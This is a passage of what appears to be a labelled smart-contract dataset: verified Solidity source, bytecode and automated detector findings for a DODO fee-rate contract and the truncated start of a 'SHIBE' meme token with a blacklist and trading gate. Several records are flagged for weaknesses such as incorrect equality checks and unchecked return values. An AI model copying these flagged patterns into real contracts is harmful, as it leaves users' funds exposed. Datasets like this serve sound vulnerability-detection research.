080fd5b50565b612b2f81612a59565b8114612b3a57600080fd5b50565b612b4681612a63565b8114612b5157600080fd5b50565b612b5d81612a73565b8114612b6857600080fd5b5056fe574c4b52522e5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473574c4b52522e7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365574c4b52522e5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365574c4b52522e5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773574c4b52522e7472616e736665723a20616d6f756e7420657863656564732039362062697473574c4b52522e617070726f76653a20616d6f756e7420657863656564732039362062697473574c4b52522e5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773574c4b52522e5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773a26469706673582212203d15461aee1df428710a05ab3f79aea1f2ea16ec10900e493198b5d670a2a7de64736f6c634300060a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 6,322 |
0x2c32dfc4df92df02ae9d9ad0750a3f209ddca61a
|
/**
*Submitted for verification at Etherscan.io on 2021-12-28
*/
// File: contracts/lib/InitializableOwnable.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract InitializableOwnable {
address public _OWNER_;
address public _NEW_OWNER_;
bool internal _INITIALIZED_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier notInitialized() {
require(!_INITIALIZED_, "DODO_INITIALIZED");
_;
}
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
function initOwner(address newOwner) public notInitialized {
_INITIALIZED_ = true;
_OWNER_ = newOwner;
}
function transferOwnership(address newOwner) public onlyOwner {
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() public {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/intf/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/SafeMath.sol
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/DODOFee/FeeRateDIP3Impl.sol
interface ICrowdPooling {
function _QUOTE_RESERVE_() external view returns (uint256);
function getShares(address user) external view returns (uint256);
}
interface IFee {
function getUserFee(address user) external view returns (uint256);
}
interface IQuota {
function getUserQuota(address user) external view returns (int);
}
interface IPool {
function version() external pure returns (string memory);
function _LP_FEE_RATE_() external view returns (uint256);
function _BASE_RESERVE_() external view returns (uint);
function _QUOTE_RESERVE_() external view returns (uint);
function _K_() external view returns (uint);
}
contract FeeRateDIP3Impl is InitializableOwnable {
using SafeMath for uint256;
// ============ Storage ============
uint256 public _LP_MT_RATIO_ = 25;
struct CPPoolInfo {
address quoteToken;
int globalQuota;
address feeAddr;
address quotaAddr;
}
mapping(address => CPPoolInfo) cpPools;
mapping(address => uint256) public specPoolList;
// ============ Ownable Functions ============
function addCpPoolInfo(address cpPool, address quoteToken, int globalQuota, address feeAddr, address quotaAddr) external onlyOwner {
CPPoolInfo memory cpPoolInfo = CPPoolInfo({
quoteToken: quoteToken,
feeAddr: feeAddr,
quotaAddr: quotaAddr,
globalQuota: globalQuota
});
cpPools[cpPool] = cpPoolInfo;
}
function setCpPoolInfo(address cpPool, address quoteToken, int globalQuota, address feeAddr, address quotaAddr) external onlyOwner {
cpPools[cpPool].quoteToken = quoteToken;
cpPools[cpPool].feeAddr = feeAddr;
cpPools[cpPool].quotaAddr = quotaAddr;
cpPools[cpPool].globalQuota = globalQuota;
}
function setLpMtRatio(uint256 newLpMtRatio) external onlyOwner {
_LP_MT_RATIO_ = newLpMtRatio;
}
function setSpecPoolList (address poolAddr, uint256 mtFeeRate) public onlyOwner {
specPoolList[poolAddr] = mtFeeRate;
}
// ============ View Functions ============
function getFeeRate(address pool, address user) external view returns (uint256) {
try IPool(pool).version() returns (string memory poolVersion) {
bytes32 hashPoolVersion = keccak256(abi.encodePacked(poolVersion));
if(_kjudge(hashPoolVersion)) {
uint k = IPool(pool)._K_();
uint baseReserve = IPool(pool)._BASE_RESERVE_();
uint quoteReserve = IPool(pool)._QUOTE_RESERVE_();
require(!(k==0 && (baseReserve ==0 || quoteReserve == 0)), "KJUDGE_ERROR");
}
if(specPoolList[pool] != 0) {
return specPoolList[pool];
}
if(_cp(hashPoolVersion)) {
CPPoolInfo memory cpPoolInfo = cpPools[pool];
address quoteToken = cpPoolInfo.quoteToken;
if(quoteToken == address(0)) {
return 0;
}else {
uint256 userInput = IERC20(quoteToken).balanceOf(pool).sub(ICrowdPooling(pool)._QUOTE_RESERVE_());
uint256 userStake = ICrowdPooling(pool).getShares(user);
address feeAddr = cpPoolInfo.feeAddr;
address quotaAddr = cpPoolInfo.quotaAddr;
int curQuota = cpPoolInfo.globalQuota;
if(quotaAddr != address(0))
curQuota = IQuota(quotaAddr).getUserQuota(user);
require(curQuota == -1 || (curQuota != -1 && int(userInput.add(userStake)) <= curQuota), "DODOFeeImpl: EXCEED_YOUR_QUOTA");
if(feeAddr == address(0)) {
return 0;
} else {
return IFee(feeAddr).getUserFee(user);
}
}
} else if(_dip3dvm(hashPoolVersion) || _dip3dsp(hashPoolVersion)) {
uint256 lpFeeRate = IPool(pool)._LP_FEE_RATE_();
uint256 mtFeeRate = lpFeeRate.mul(_LP_MT_RATIO_).div(100);
if(lpFeeRate.add(mtFeeRate) >= 10**18) {
return 0;
} else {
return mtFeeRate;
}
} else {
return 0;
}
} catch (bytes memory) {
return 0;
}
}
function getCPInfoByUser(address pool, address user) external view returns (bool isHaveCap, int curQuota, uint256 userFee) {
CPPoolInfo memory cpPoolInfo = cpPools[pool];
if(cpPoolInfo.quoteToken == address(0)) {
isHaveCap = false;
curQuota = -1;
userFee = 0;
}else {
address quotaAddr = cpPoolInfo.quotaAddr;
curQuota = cpPoolInfo.globalQuota;
if(quotaAddr != address(0))
curQuota = IQuota(quotaAddr).getUserQuota(user);
if(curQuota == -1) {
isHaveCap = false;
}else {
isHaveCap = true;
uint256 userStake = ICrowdPooling(pool).getShares(user);
curQuota = int(uint256(curQuota).sub(userStake));
}
address feeAddr = cpPoolInfo.feeAddr;
if(feeAddr == address(0)) {
userFee = 0;
} else {
userFee = IFee(feeAddr).getUserFee(user);
}
}
}
function _cp(bytes32 _hashPoolVersion) internal pure returns (bool) {
return (_hashPoolVersion == keccak256(abi.encodePacked("CP 1.0.0")) || _hashPoolVersion == keccak256(abi.encodePacked("CP 2.0.0")));
}
function _dip3dvm(bytes32 _hashPoolVersion) internal pure returns (bool){
return (_hashPoolVersion == keccak256(abi.encodePacked("DVM 1.0.2")) || _hashPoolVersion == keccak256(abi.encodePacked("DVM 1.0.3")));
}
function _dip3dsp(bytes32 _hashPoolVersion) internal pure returns (bool){
return (_hashPoolVersion == keccak256(abi.encodePacked("DSP 1.0.1")) || _hashPoolVersion == keccak256(abi.encodePacked("DSP 1.0.2")));
}
function _kjudge(bytes32 _hashPoolVersion) internal pure returns (bool) {
return (_hashPoolVersion == keccak256(abi.encodePacked("DVM 1.0.2")) || _hashPoolVersion == keccak256(abi.encodePacked("DSP 1.0.1")) || _hashPoolVersion == keccak256(abi.encodePacked("DPP 1.0.0")));
}
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c80638456db151161008c578063a1e281de11610066578063a1e281de14610183578063b1efb8f414610196578063f2fde38b1461019e578063fae783d8146101b1576100cf565b80638456db1514610148578063848cc303146101505780638614c55214610170576100cf565b806301ea364b146100d45780630d009297146100e957806316048bc4146100fc57806344c194021461011a5780634e71e0c81461012d5780635454b84214610135575b600080fd5b6100e76100e23660046111d8565b6101d3565b005b6100e76100f7366004611128565b610222565b610104610282565b604051610111919061137a565b60405180910390f35b6100e7610128366004611177565b610291565b6100e7610315565b6100e7610143366004611177565b6103a3565b61010461045f565b61016361015e366004611143565b61046e565b6040516101119190611508565b61016361017e366004611128565b610bb7565b6100e76101913660046112b5565b610bc9565b610163610bf8565b6100e76101ac366004611128565b610bfe565b6101c46101bf366004611143565b610c83565b6040516101119392919061138e565b6000546001600160a01b031633146102065760405162461bcd60e51b81526004016101fd9061149f565b60405180910390fd5b6001600160a01b03909116600090815260046020526040902055565b600154600160a01b900460ff161561024c5760405162461bcd60e51b81526004016101fd9061143e565b6001805460ff60a01b1916600160a01b179055600080546001600160a01b039092166001600160a01b0319909216919091179055565b6000546001600160a01b031681565b6000546001600160a01b031633146102bb5760405162461bcd60e51b81526004016101fd9061149f565b6001600160a01b03948516600090815260036020819052604090912080549587166001600160a01b031996871617815560028101805494881694871694909417909355820180549190951693169290921790925560010155565b6001546001600160a01b0316331461033f5760405162461bcd60e51b81526004016101fd906113a6565b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b031633146103cd5760405162461bcd60e51b81526004016101fd9061149f565b6103d56110ea565b50604080516080810182526001600160a01b039586168152602080820195865293861681830190815292861660608201908152968616600090815260039485905291909120905181549086166001600160a01b0319918216178255935160018201559051600282018054918616918516919091179055935193018054939092169216919091179055565b6001546001600160a01b031681565b6000826001600160a01b03166354fd4d506040518163ffffffff1660e01b815260040160006040518083038186803b1580156104a957600080fd5b505afa9250505080156104de57506040513d6000823e601f3d908101601f191682016040526104db919081019061121a565b60015b61051c573d80801561050c576040519150601f19603f3d011682016040523d82523d6000602084013e610511565b606091505b506000915050610bb1565b60008160405160200161052f91906112cd565b60405160208183030381529060405280519060200120905061055081610ee6565b156106e9576000856001600160a01b031663ec2fd46d6040518163ffffffff1660e01b815260040160206040518083038186803b15801561059057600080fd5b505afa1580156105a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c89190611202565b90506000866001600160a01b0316637d7215046040518163ffffffff1660e01b815260040160206040518083038186803b15801561060557600080fd5b505afa158015610619573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063d9190611202565b90506000876001600160a01b031663bbf5ce786040518163ffffffff1660e01b815260040160206040518083038186803b15801561067a57600080fd5b505afa15801561068e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b29190611202565b9050821580156106c857508115806106c8575080155b156106e55760405162461bcd60e51b81526004016101fd906113cd565b5050505b6001600160a01b03851660009081526004602052604090205415610728575050506001600160a01b038216600090815260046020526040902054610bb1565b61073181610f70565b15610ab85761073e6110ea565b506001600160a01b03808616600090815260036020818152604092839020835160808101855281548616808252600183015493820193909352600282015486169481019490945290910154909216606082015290806107a4576000945050505050610bb1565b60006108a2886001600160a01b031663bbf5ce786040518163ffffffff1660e01b815260040160206040518083038186803b1580156107e257600080fd5b505afa1580156107f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081a9190611202565b6040516370a0823160e01b81526001600160a01b038516906370a0823190610846908d9060040161137a565b60206040518083038186803b15801561085e57600080fd5b505afa158015610872573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108969190611202565b9063ffffffff610fae16565b90506000886001600160a01b031663f04da65b896040518263ffffffff1660e01b81526004016108d2919061137a565b60206040518083038186803b1580156108ea57600080fd5b505afa1580156108fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109229190611202565b60408501516060860151602087015192935090916001600160a01b038216156109c4576040516398a299e560e01b81526001600160a01b038316906398a299e590610971908e9060040161137a565b60206040518083038186803b15801561098957600080fd5b505afa15801561099d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c19190611202565b90505b8060001914806109f0575080600019141580156109f05750806109ed868663ffffffff610fd616565b13155b610a0c5760405162461bcd60e51b81526004016101fd90611468565b6001600160a01b038316610a2c5760009950505050505050505050610bb1565b60405163060f58c360e01b81526001600160a01b0384169063060f58c390610a58908e9060040161137a565b60206040518083038186803b158015610a7057600080fd5b505afa158015610a84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa89190611202565b9950505050505050505050610bb1565b610ac181611002565b80610ad05750610ad081611040565b15610baa576000856001600160a01b031663ab44a7a36040518163ffffffff1660e01b815260040160206040518083038186803b158015610b1057600080fd5b505afa158015610b24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b489190611202565b90506000610b726064610b666002548561107e90919063ffffffff16565b9063ffffffff6110b816565b9050670de0b6b3a7640000610b8d838363ffffffff610fd616565b10610b9f576000945050505050610bb1565b9350610bb192505050565b6000925050505b92915050565b60046020526000908152604090205481565b6000546001600160a01b03163314610bf35760405162461bcd60e51b81526004016101fd9061149f565b600255565b60025481565b6000546001600160a01b03163314610c285760405162461bcd60e51b81526004016101fd9061149f565b600080546040516001600160a01b03808516939216917fdcf55418cee3220104fef63f979ff3c4097ad240c0c43dcb33ce837748983e6291a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000806000610c906110ea565b506001600160a01b03808616600090815260036020818152604092839020835160808101855281548616808252600183015493820193909352600282015486169481019490945290910154909216606082015290610cfa5760009350600019925060009150610ede565b6060810151602082015193506001600160a01b03811615610d94576040516398a299e560e01b81526001600160a01b038216906398a299e590610d4190899060040161137a565b60206040518083038186803b158015610d5957600080fd5b505afa158015610d6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d919190611202565b93505b836000191415610da75760009450610e40565b60405163f04da65b60e01b8152600195506000906001600160a01b0389169063f04da65b90610dda908a9060040161137a565b60206040518083038186803b158015610df257600080fd5b505afa158015610e06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2a9190611202565b9050610e3c858263ffffffff610fae16565b9450505b60408201516001600160a01b038116610e5c5760009350610edb565b60405163060f58c360e01b81526001600160a01b0382169063060f58c390610e88908a9060040161137a565b60206040518083038186803b158015610ea057600080fd5b505afa158015610eb4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed89190611202565b93505b50505b509250925092565b6000604051602001610ef7906112fe565b60405160208183030381529060405280519060200120821480610f3d5750604051602001610f249061133c565b6040516020818303038152906040528051906020012082145b80610bb15750604051602001610f5290611351565b60405160208183030381529060405280519060200120821492915050565b6000604051602001610f8190611328565b60405160208183030381529060405280519060200120821480610bb15750604051602001610f5290611366565b600082821115610fd05760405162461bcd60e51b81526004016101fd9061141b565b50900390565b600082820183811015610ffb5760405162461bcd60e51b81526004016101fd906114c2565b9392505050565b6000604051602001611013906112fe565b60405160208183030381529060405280519060200120821480610bb15750604051602001610f5290611313565b60006040516020016110519061133c565b60405160208183030381529060405280519060200120821480610bb15750604051602001610f52906112e9565b60008261108d57506000610bb1565b8282028284828161109a57fe5b0414610ffb5760405162461bcd60e51b81526004016101fd906114e5565b60008082116110d95760405162461bcd60e51b81526004016101fd906113f3565b8183816110e257fe5b049392505050565b60408051608081018252600080825260208201819052918101829052606081019190915290565b80356001600160a01b0381168114610bb157600080fd5b600060208284031215611139578081fd5b610ffb8383611111565b60008060408385031215611155578081fd5b61115f8484611111565b915061116e8460208501611111565b90509250929050565b600080600080600060a0868803121561118e578081fd5b6111988787611111565b94506111a78760208801611111565b9350604086013592506111bd8760608801611111565b91506111cc8760808801611111565b90509295509295909350565b600080604083850312156111ea578182fd5b6111f48484611111565b946020939093013593505050565b600060208284031215611213578081fd5b5051919050565b60006020828403121561122b578081fd5b815167ffffffffffffffff80821115611242578283fd5b81840185601f820112611253578384fd5b8051925081831115611263578384fd5b604051601f8401601f191681016020018381118282101715611283578586fd5b60405283815281840160200187101561129a578485fd5b6112ab846020830160208501611511565b9695505050505050565b6000602082840312156112c6578081fd5b5035919050565b600082516112df818460208701611511565b9190910192915050565b682229a810189718171960b91b815260090190565b68222b2690189718171960b91b815260090190565b6844564d20312e302e3360b81b815260090190565b670435020312e302e360c41b815260080190565b6844535020312e302e3160b81b815260090190565b68044505020312e302e360bc1b815260090190565b670435020322e302e360c41b815260080190565b6001600160a01b0391909116815260200190565b92151583526020830191909152604082015260600190565b6020808252600d908201526c494e56414c49445f434c41494d60981b604082015260600190565b6020808252600c908201526b25a52aa223a2afa2a92927a960a11b604082015260600190565b6020808252600e908201526d2224ab24a224a723afa2a92927a960911b604082015260600190565b60208082526009908201526829aaa12fa2a92927a960b91b604082015260600190565b60208082526010908201526f1113d113d7d25392551250531256915160821b604082015260600190565b6020808252601e908201527f444f444f466565496d706c3a204558434545445f594f55525f51554f54410000604082015260600190565b6020808252600990820152682727aa2fa7aba722a960b91b604082015260600190565b60208082526009908201526820a2222fa2a92927a960b91b604082015260600190565b60208082526009908201526826aaa62fa2a92927a960b91b604082015260600190565b90815260200190565b60005b8381101561152c578181015183820152602001611514565b8381111561153b576000848401525b5050505056fea2646970667358221220ec2fbf939f1e8743f40231a24124a06ea7cccb5d7220a8f98ae207db756dfc6a64736f6c63430006090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 6,323 |
0x02c9eaea4e5457ea539d50cea694841ffdd1250e
|
/**
*Submitted for verification at Etherscan.io on 2022-04-04
*/
// SPDX-License-Identifier: Unlicensed
//Because the value of bitcoin per unit is too high, it needs to be divided.
//However, the unit price of Shib is too low.
//If you want to make payment easily in practical application, you need to set.
//We reduce the total number of Shib and replace it with 1$Shibe = 1,000,000 $Shib
//Total: 1,000,000
//Fluidity: 8 ETH
//Max buy: 10,000
// rMBBBBQBBBBBBBBBBQXv:
// .iUEBBBBBQBBBBBBBMdU7. iBQBQBgU7i::::irL5DBBBBBBBBZi
// .jBBBBBBBBBQMdbPbDQBBBBBBBBBDBBQB7 :vqBBBBB:
// vQBBBBgL:. .bBBBB7 ........... . jBBB.
// rBBBBqi . . . . 7QBQ. ....................... vBBS
// jBBBq. . ......... BBBi ............................ BQB
// YBBBv . ..:.. ..... rBBB .............................. BBB
// .BQBv ... :7UKdEDEDEdqIr: ... EBBv ............................... BBB
// YBBg .... .7dZEKS1UJus1USXEZP7: DBQ: ................................. BBd
// PBB7 .... .JdBbuLs7vvvvLvvvvvUdQKv. EBB. .................................. :BB:
// RBB. ..... :g .vS177r7r777r77IUr..:R: 7BB: ................................... EBB
// QBB. .... :QK i: :s2sjJujjsjYS7..::.PR. BBU ........................... ..... .BB:
// ZBB. ...... .gSP iir:.i7i:::::i7i.iii:.qId KQB ............... ......... .... BBQ
// 7BQ: ....... IPsP..ri:.......:...::::i:rXvq7 BBM .............. :........ :BBQ. .... vBB
// BBS ..... .D1v57 :..:::::::::::ii:::.Ijv1P .BBE ........... :E ....... rBBB: .... :BB
// qBB ... igYLvE. .. .:::::::. .::ib7YsZ: :BQB. ........ Br ........ .i ..... BB:
// QB7 Zq ... iZsvYb. . :::::::. .:..UuvsEi ZBBM. .QQ .......... ..... BB.
// BB QBB .. .gsYS7 . RBXi..::::::SBBi:.:KLJg: .PBBBqi. IBB .......... ...... .BQ
// BBj1BBBBS . SPsd ..rMQBP. .7BBg7::i.52qq ... :qBQBBBBBBJ ......... . .... 7BB
// :QBBBi.BB: . :DqI ...... UU5. .:.:::. rZD: ..... .:. ......... KQBB7 .. MBg
// 1BB. rQD .: BBQr .: jB7 ......... . ........... EBi dBQ .BB.
// XBB. rBK I: vB7 ...................... . . BB BBr BBB
// 1BB: .RB: j:u:u. .ZQ: .................... iBBQJ.:QB SQB
// rBBK 7QDv iPR7 ................... .UBBBBu . iEBBB1:qBB.
// :BBQ . :IDPJ:. .72EIi ................... :qBBBgBBBX .. MBB.
// 7BB .... .iYLYiiiri. . . ............. 5BQBD. PBBr ... KBBg
// :BB ....... :: ........... BBB7 .BBQ .. .gBBB:
// 7BB .......... vBBBBBUri.::rjQBBX .......... 7BB UBQL . :QBBBi
// PBM ......... .BBu JBBBBBBBBBBBQBB ......... BB1 LBB. .. .BBBQ.
// BBu .......... rBB ... BB7 ....... BB. BB7 .. 7BB5
// .BB: .......... .BB bBg ........ BBr BB: .. BBB
// JBQ .......... SBB PBQ ....... dBB BBR .. 7BQBj
// RBB .......... :BBu BBP ....... 1BB. BBv .. BBv
// BBS ......... QB5RBi .QBi ..... :BBqBB rBBv BBY
// DB5 . ..... jBi BQ JBQ ..... BB rBU rBBQ :KBBB
// .BB1 QB BB qQB .Br QQ gBBBBBBB7
// BBBQR5s77r7riBB:rqBBS BQBRP1Y7rriUB2.7dBB :v7:
// .jBQBQBBBBBBBBBQBY iRBBBBBBBBBBBBBDr
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SHIBE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ShibElephant";
string private constant _symbol = "SHIBE";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 6;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 6;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xEC26f7b2d1d9AA956cf3C567e7084F786bF962d4);
address payable private _marketingAddress = payable(0xEC26f7b2d1d9AA956cf3C567e7084F786bF962d4);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10010 * 10**9;
uint256 public _maxWalletSize = 10010 * 10**9;
uint256 public _swapTokensAtAmount = 1 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
